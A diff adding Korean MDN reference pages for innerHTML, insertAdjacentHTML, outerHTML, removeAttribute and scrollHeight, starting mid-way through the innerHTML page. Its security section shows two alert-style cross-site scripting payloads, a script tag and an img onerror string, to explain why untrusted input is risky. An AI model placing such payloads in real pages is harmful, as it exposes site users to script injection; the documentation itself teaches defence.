+ <li>다른 모든 요소의 경우, 요소의 내용은 새 <code>DocumentFragment</code> 의 노드로 대체됩니다.</li>
+</ol>
+
+<h3 id="Security_considerations">Security considerations</h3>
+
+<p><code>innerHTML</code> 이 웹 페이지에 텍스트를 삽입하는데 사용되는 것은 종종 볼 수 있습니다. 이것은 사이트의 공격 경로가 되어 잠재적인 보안 위험이 발생할 수 있습니다.</p>
+
+<pre class="brush: js">const name = "John";
+// assuming 'el' is an HTML DOM element
+el.innerHTML = name; // harmless in this case
+
+// ...
+
+name = "&lt;script&gt;alert('I am John in an annoying alert!')&lt;/script&gt;";
+el.innerHTML = name; // harmless in this case</pre>
+
+<p>이것은 {{interwiki("wikipedia", "cross-site scripting")}} 공격처럼 보일 수 있지만, 결과는 무해합니다. HTML5 는 <code>innerHTML</code> 과 함께 삽입된 {{HTMLElement("script")}} 태그가 <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">실행되지 않도록 </a>지정합니다.</p>
+
+<p>그러나 {{HTMLElement("script")}} 요소를 사용하지 않고, 자바스크립트를 실행하는 방법이 있으므로, <code>innerHTML</code> 을 사용하여 제어할 수 없는 문자열을 설정할 때 마다 여전히 보안위험이 있습니다. 예를들어:</p>
+
+<pre class="brush: js">const name = "&lt;img src='x' onerror='alert(1)'&gt;";
+el.innerHTML = name; // shows the alert</pre>
+
+<p>따라서 일반 텍스트를 삽입 할 때는 <code>innerHTML</code> 을 사용하지 않는 것이 좋습니다. 대신  {{domxref("Node.textContent")}}를 사용하십시오. 이것은 전달 된 내용을 HTML로 파싱하지 않고 원시 텍스트(raw text)로 삽입합니다.</p>
+
+<div class="warning">
+<p><strong>경고:</strong> 프로젝트가 보안 점검을 거치게 되는 프로젝트인 경우, <code>innerHTML</code> 을 사용하면 코드가 거부 될 가능성이 높습니다. 예를 들어, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">브라우저 확장</a>에서  <a href="https://wiki.mozilla.org/Add-ons/Reviewers/Guide/Reviewing#Step_2:_Automatic_validation"><code>innerHTML</code>을 사용하고</a> <a href="https://addons.mozilla.org/">addons.mozilla.org</a>에 확장을 제출하면 자동 검토 프로세스를 통과하지 못합니다.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예제에서는 <code>innerHTML</code> 을 사용하여 메시지를 웹 페이지의 상자에 기록하는 매커니즘을 만듭니다.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function log(msg) {
+ var logElem = document.querySelector(".log");
+
+ var time = new Date();
+ var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "&lt;br/&gt;";
+}
+
+log("Logging mouse events inside this container...");
+</pre>
+
+<p><code>log()</code> 함수는 {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}을 사용하여 {{jsxref("Date")}} 객체에서 현재 시간을 가져 오고, 타임 스탬프와 메시지 텍스트가 있는 문자열을 작성하여 로그 출력을 만듭니다. 그런 다음 메시지는 클래스 <code>"log"</code>가 있는 상자에 추가됩니다.</p>
+
+<p>{{domxref("MouseEvent")}} 기반 이벤트 ({{event("mousedown")}}, {{event("click")}}, {{event("mouseenter")}}와 같은) 정보를 기록하는 두 번째 메서드를 추가합니다:</p>
+
+<pre class="brush: js">function logEvent(event) {
+ var msg = "Event &lt;strong&gt;" + event.type + "&lt;/strong&gt; at &lt;em&gt;" +
+ event.clientX + ", " + event.clientY + "&lt;/em&gt;";
+ log(msg);
+}</pre>
+
+<p>그리고나서, 우리의 로그가 들어있는 상자에 여러 마우스 이벤트에 대한 이벤트 핸들러로 사용합니다.</p>
+
+<pre class="brush: js">var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML은 우리의 예제에서 아주 간단합니다.</p>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+ &lt;div&gt;&lt;strong&gt;Log:&lt;/strong&gt;&lt;/div&gt;
+ &lt;div class="log"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>클래스 <code>"box"</code>를 갖는 {{HTMLElement("div")}} 는 레이아웃을 위한 컨테이너 입니다. class가 <code>"log"</code> 인 <code>&lt;div&gt;</code> 는 로그 텍스트 자체의 컨테이너 입니다.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>다음 CSS는 우리의 예제 내용을 꾸밉니다.</p>
+
+<pre class="brush: css">.box {
+ width: 600px;
+ height: 300px;
+ border: 1px solid black;
+ padding: 2px 4px;
+ overflow-y: scroll;
+ overflow-x: auto;
+}
+
+.log {
+ margin-top: 8px;
+ font-family: monospace;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>결과 컨텐츠는 다음과 같습니다. 마우스를 상자 안팎으로 움직이거나 클릭하고 로그에서 출력을 볼 수 있습니다.</p>
+
+<p>{{EmbedLiveSample("Example", 640, 350)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM Parsing', '#dom-element-innerhtml', 'Element.innerHTML')}}</td>
+ <td>{{Spec2('DOM Parsing')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.innerHTML")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.textContent")}} 과 {{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>DOM 트리에 HTML 파싱하기: {{domxref("DOMParser")}}</li>
+ <li>XML 또는 HTML을 DOM 트리로 직렬화 하기: {{domxref("XMLSerializer")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/insertadjacenthtml/index.html b/files/ko/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..7b1cb1d4e5
--- /dev/null
+++ b/files/ko/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,79 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>insertAdjacentHTML()</code></strong> 메서드는 HTML or XML 같은 특정 텍스트를 파싱하고, 특정 위치에 DOM tree 안에 원하는 node들을 추가 한다.  이미 사용중인 element 는 다시 파싱하지 않는다. 그러므로 element 안에 존재하는 element를 건드리지 않는다. (innerHtml은 과 좀 다름). innerHtml보다 작업이 덜 드므로 빠르다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre><em>element</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre>
+
+<p><font face="Courier, Andale Mono, monospace">position은 아래 있는 단어만 사용 가능하다.</font></p>
+
+<dl>
+ <dt><code style="color: red;">'beforebegin'</code></dt>
+ <dd>element 앞에 </dd>
+ <dt><code style="color: green;">'afterbegin'</code></dt>
+ <dd>element 안에 가장 첫번째 child</dd>
+ <dt><code style="color: blue;">'beforeend'</code></dt>
+ <dd>element 안에 가장 마지막 child</dd>
+ <dt><code style="color: magenta;">'afterend'</code></dt>
+ <dd>element 뒤에</dd>
+</dl>
+
+<p><code>text(인자)는 HTML 또는 XML로 해석될 수 있는 문자열이고(html code), (DOM) tree에 삽입할 수 있다.</code></p>
+
+<h3 id="position_의_예시_그림">position 의 예시 그림</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Note:</strong>  <code>beforebegin</code> , <code>afterend position은 element의 부모가 존재해야 하고, node가 tree 안에 있어야 한다.</code></div>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// At this point, the new structure is:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM Parsing', '#insertadjacenthtml()', 'Element.insertAdjacentHTML()')}}</td>
+ <td>{{ Spec2('DOM Parsing') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.appendChild()")}} ((position)beforeend 와 같은 효과를 갖는다.)</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post</a><span class="external"> by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.</span></li>
+</ul>
diff --git a/files/ko/web/api/element/outerhtml/index.html b/files/ko/web/api/element/outerhtml/index.html
new file mode 100644
index 0000000000..28952f5d69
--- /dev/null
+++ b/files/ko/web/api/element/outerhtml/index.html
@@ -0,0 +1,119 @@
+---
+title: Element.outerHTML
+slug: Web/API/Element/outerHTML
+tags:
+ - API
+ - DOM
+ - DOM Parsing
+ - Element
+ - Parsing
+ - Property
+ - Reference
+ - Serializing
+translation_of: Web/API/Element/outerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>outerHTML</code> 속성은 요소(element)의 자식 요소를 포함하여 요소를 나타내는 직렬화된 HTML 파편을 가져옵니다. 또한 주어진 문자열에서 파싱한 노드로 요소를 대체할 수 있습니다.</p>
+
+<p>요소의 내용만을 HTML 형태로 가져오거나 설정하기 위해서는 {{domxref("Element.innerHTML", "innerHTML")}} 속성을 대신 사용하십시오.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="eval"><em>var content</em> = <em>element</em>.outerHTML;
+
+<em>element</em>.outerHTML = <em>htmlString</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>outerHTML</code>로 값을 읽어올 때는 요소와 요소의 자식 요소가 직렬화된 HTML이 포함된 {{domxref("DOMString")}}을 반환합니다. <code>outerHTML</code>로 값을 설정할 때는 요소와 요소의 모든 자식 요소를 <code>htmlString</code> 형태로 파싱된 새로운 DOM 트리 구조로 대체합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>유효하지 않은 HTML 문자열을 사용해 <code>outerHTML</code>을 설정하도록 시도할 경우 <code>SyntaxError</code> 예외가 발생합니다. </dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>{{domxref("Document.documentElement")}}와 같이 {{domxref("Document")}}의 바로 아래 자식 요소에 <code>outerHTML</code>을 설정하도록 시도할 경우 <code>NoModificationAllowedError</code> 예외가 발생합니다.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<p>다음은 요소의 <code>outerHTML</code> 속성을 가져오는 예시입니다.</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;
+
+d = document.getElementById("d");
+console.log(d.outerHTML);
+
+// '&lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;'
+// 위 문자열이 콘솔창에 출력됩니다.
+</pre>
+
+<p>다음은 <code>outerHTML</code> 속성으로 노드를 대체하는 예시입니다.</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="container"&gt;&lt;div id="d"&gt;This is a div.&lt;/div&gt;&lt;/div&gt;
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // "DIV"를 출력합니다.
+
+d.outerHTML = "&lt;p&gt;This paragraph replaced the original div.&lt;/p&gt;";
+console.log(container.firstChild.nodeName); // "P"를 출력합니다.
+
+// #d의 div 요소가 문서 트리에서 제거되고,
+// 새 p 요소로 대체되었습니다.
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>부모 요소가 없는 요소에 <code>outerHTML</code> 속성을 설정하려고 하면 변경되지 않습니다. 많은 브라우저는 예외를 발생시킵니다. 아래는 예시입니다.</p>
+
+<pre class="brush: js">var div = document.createElement("div");
+div.outerHTML = "&lt;div class=\"test\"&gt;test&lt;/div&gt;";
+// 많은 브라우저에서 DOMException 예외를 발생시킵니다.
+console.log(div.outerHTML); // 결과: "&lt;div&gt;&lt;/div&gt;"</pre>
+
+<p>또한, 문서 내의 요소가 변경되더라도 변수의 <code>outerHTML</code> 속성은 원본 요소를 계속 참조합니다.</p>
+
+<pre class="brush: js">var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // "P"를 출력합니다.
+p.outerHTML = "&lt;div&gt;This div replaced a paragraph.&lt;/div&gt;";
+console.log(p.nodeName); // 여전히 "P"를 출력합니다.
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}</td>
+ <td>{{ Spec2('DOM Parsing') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.outerHTML")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>DOM 트리를 XML이나 HTML으로 직렬화하는 {{domxref("XMLSerializer")}}</li>
+ <li>XML이나 HTML을 파싱하여 DOM 트리로 변환하는 {{domxref("DOMParser")}}</li>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/removeattribute/index.html b/files/ko/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..d31f6ded75
--- /dev/null
+++ b/files/ko/web/api/element/removeattribute/index.html
@@ -0,0 +1,66 @@
+---
+title: Element.removeAttribute()
+slug: Web/API/Element/removeAttribute
+tags:
+ - API
+ - DOM
+ - Element
+ - Method
+ - Reference
+translation_of: Web/API/Element/removeAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>Element.removeAttribute()</strong></code> 메서드는 요소에서 주어진 이름의 특성을 제거합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>element</em>.removeAttribute(<em>attrName</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>attrName</code></dt>
+ <dd>요소에서 제거할 특성 이름을 지정하는 {{domxref("DOMString")}}. 지정하지 않으면 오류 없이 아무 동작도 하지 않습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>많은 특성은 {{jsxref("null")}}을 대입했을 때 예상치 못한 동작을 하곤 합니다. 그러므로 특성을 삭제할 때 <code>null</code>을 직접 대입하거나, {{domxref("Element.setAttribute", "setAttribute()")}}의 매개변수로 제공하기보단 <code>removeAttribute()</code> 메서드를 사용해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Given: &lt;div id="div1" align="left" width="200px"&gt;
+document.getElementById("div1").removeAttribute("align");
+// Now: &lt;div id="div1" width="200px"&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-element-removeattribute', 'Element" removeAttribute')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.removeAttribute")}}</p>
diff --git a/files/ko/web/api/element/scrollheight/index.html b/files/ko/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..32b5f72eb1
--- /dev/null
+++ b/files/ko/web/api/element/scrollheight/index.html
@@ -0,0 +1,168 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+tags:
+ - API
+ - Element
+ - Property
+ - Reference
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Element.scrollHeight</code></strong> 읽기 전용 속성은 요소 콘텐츠의 총 높이를 나타내며, 바깥으로 넘쳐서 보이지 않는 콘텐츠도 포함합니다.</p>
+
+<p><code>scrollHeight</code> 값은 수직 스크롤바를 사용하지 않고 요소의 콘텐츠를 모두 나타낼 때 필요한 최소 높이의 값과 동일합니다. 높이 측정은 {{domxref("Element.clientHeight", "clientHeight")}}와 동일한 방법을 사용하여 요소의 안쪽 여백은 포함하고, 테두리와 바깥 여백, (존재하는 경우) 수평 스크롤바의 높이는 포함하지 않습니다. 또한 {{cssxref("::before")}}, {{cssxref("::after")}} 등 의사 요소의 높이도 결과에 포함합니다. 요소의 콘텐츠를 수직 스크롤바 없이 모두 보일 수 있는 경우의 <code>scrollHeight</code>는 <code>clientHeight</code>와 동일합니다.</p>
+
+<div class="note">
+<p><code>scrollHeight</code>의 반환 값은 정수로 반올림됩니다. 소수점을 포함한 값이 필요한 경우 {{domxref("Element.getBoundingClientRect()")}}를 사용하세요.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">구문</h2>
+
+<pre class="eval notranslate">var <em>intElemScrollHeight</em> = <em>element</em>.scrollHeight;
+</pre>
+
+<p><em>intElemScrollHeight</em>은 요소 <code>scrollHeight</code>의 픽셀 값을 저장하는 정수형 변수입니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong>Left</strong> <strong>Top</strong> <strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollHeight.png" class="internal" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="문제와_해결책">문제와 해결책</h2>
+
+<h3 id="요소를_끝까지_스크롤했는지_판별하기">요소를 끝까지 스크롤했는지 판별하기</h3>
+
+<p>다음 등식이 참인 경우 요소를 끝까지 스크롤한 것입니다.</p>
+
+<pre class="brush: js notranslate">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<p>컨테이너가 스크롤 대신 오버플로된 자식을 노출하는 경우, 다음 검사로 컨테이너가 스크롤 가능한지 알아볼 수 있습니다.</p>
+
+<pre class="brush: js notranslate">window.getComputedStyle(element).overflowY === 'visible'
+window.getComputedStyle(element).overflowY !== 'hidden'</pre>
+
+<h2 id="scrollHeight_Demo" name="scrollHeight_Demo">예제</h2>
+
+<p><code><a href="/en-US/docs/DOM/element.onscroll" title="en-US/docs/DOM/element.onscroll">onscroll</a></code>이벤트를 함께 사용하여, 내용을 다 읽었는지 확인할 수 있습니다. (<code><a href="/en-US/docs/DOM/element.scrollTop" title="en-US/docs/DOM/element.scrollTop">element.scrollTop</a></code> 과 <code><a href="/en-US/docs/DOM/element.clientHeight" title="en-US/docs/DOM/element.clientHeight">element.clientHeight</a></code> 를 참조하세요).</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;form name="registration"&gt;
+ &lt;p&gt;
+  &lt;textarea id="rules"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
+neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
+velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
+ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id.
+Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem,
+mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta
+at arcu. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent
+dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas
+luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem
+sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue
+turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum.
+Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in
+ligula. Vivamus vitae urna mauris, eget euismod nunc. Aenean semper gravida enim non feugiat. In hac habitasse
+platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat
+consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et
+a orci. Donec aliquet volutpat scelerisque. Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam
+pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum
+ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit
+interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer
+laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes,
+nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.
+ &lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" name="accept" id="agree" /&gt;
+    &lt;label for="agree"&gt;동의합니다&lt;/label&gt;
+    &lt;input type="submit" id="nextstep" value="다음" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function checkReading () {
+  if (checkReading.read) {
+ return;
+ }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "감사합니다" : "다음 내용을 확인해주십시오";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}</pre>
+
+<p>{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}</td>
+ <td>{{Spec2("CSSOM View")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Supported" name="Supported">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.scrollHeight")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("Element.offsetHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ko/web/api/element/scrollintoview/index.html b/files/ko/web/api/element/scrollintoview/index.html
new file mode 100644
index 0000000000..1736aa2e40
--- /dev/null
+++ b/files/ko/web/api/element/scrollintoview/index.html
@@ -0,0 +1,88 @@
+---
+title: element.scrollIntoView
+slug: Web/API/Element/scrollIntoView
+translation_of: Web/API/Element/scrollIntoView
+---
+<div>
+<p>{{APIRef("DOM")}}</p>
+
+
+
+<p>{{domxref("Element")}} 인터페이스의 <strong><code>scrollIntoView()</code></strong> 메소드는 <code>scrollIntoView()</code>가 호출 된 요소가 사용자에게 표시되도록 요소의 상위 컨테이너를 스크롤합니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre><em>element</em>.scrollIntoView();
+<em>element</em>.scrollIntoView(<var>alignToTop</var>); // Boolean parameter
+<em>element</em>.scrollIntoView(<var>scrollIntoViewOptions</var>); // Object parameter</pre>
+
+<dl>
+ <dt>
+ <h3 id="Parameters">Parameters</h3>
+ </dt>
+ <dt><code>alignToTop</code> {{optional_inline}}</dt>
+ <dd>{{jsxref("Boolean")}} 값:
+ <ul>
+ <li><code>true</code>일때, the top of the element will be aligned to the top of the visible area of the scrollable ancestor. Corresponds to <code>scrollIntoViewOptions: {block: "start", inline: "nearest"}</code>. This is the default value.</li>
+ <li><code>false</code>일때, the bottom of the element will be aligned to the bottom of the visible area of the scrollable ancestor. Corresponds to <code>scrollIntoViewOptions: {block: "end", inline: "nearest"}</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>scrollIntoViewOptions</code> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>다음의 프로퍼티를 가지는 객체</dd>
+ <dd>
+ <dl>
+ <dt><code>behavior</code> {{optional_inline}}</dt>
+ <dd>전환에니메이션을 정의.<br>
+ <code>"auto"</code>, <code>"smooth"</code>중 하나 선택. 기본값은 <code>"auto"</code>.</dd>
+ <dt><code>block</code> {{optional_inline}}</dt>
+ <dd>수직 정렬을 정의<br>
+ <code>"start"</code>, <code>"center"</code>, <code>"end"</code>, <code>"nearest"</code>중 하나 선택. 기본값은 <code>"start"</code>.</dd>
+ <dt><code>inline</code> {{optional_inline}}</dt>
+ <dd>수평 정렬을 정함<br>
+ One of <code>"start"</code>, <code>"center"</code>, <code>"end"</code>, <code>"nearest"</code>중 하나 선택. 기본값은 <code>"nearest"</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre><code>var element = document.getElementById("box");
+
+element.scrollIntoView();
+element.scrollIntoView(false);
+element.scrollIntoView({block: "end"});
+element.scrollIntoView({behavior: "smooth", block: "end", inline: "nearest"});</code></pre>
+
+<h2 id="Notes">Notes</h2>
+
+
+
+<p>다른 요소의 레이아웃에 따라 위쪽 또는 아래쪽으로 완전히 스크롤되지 않을 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
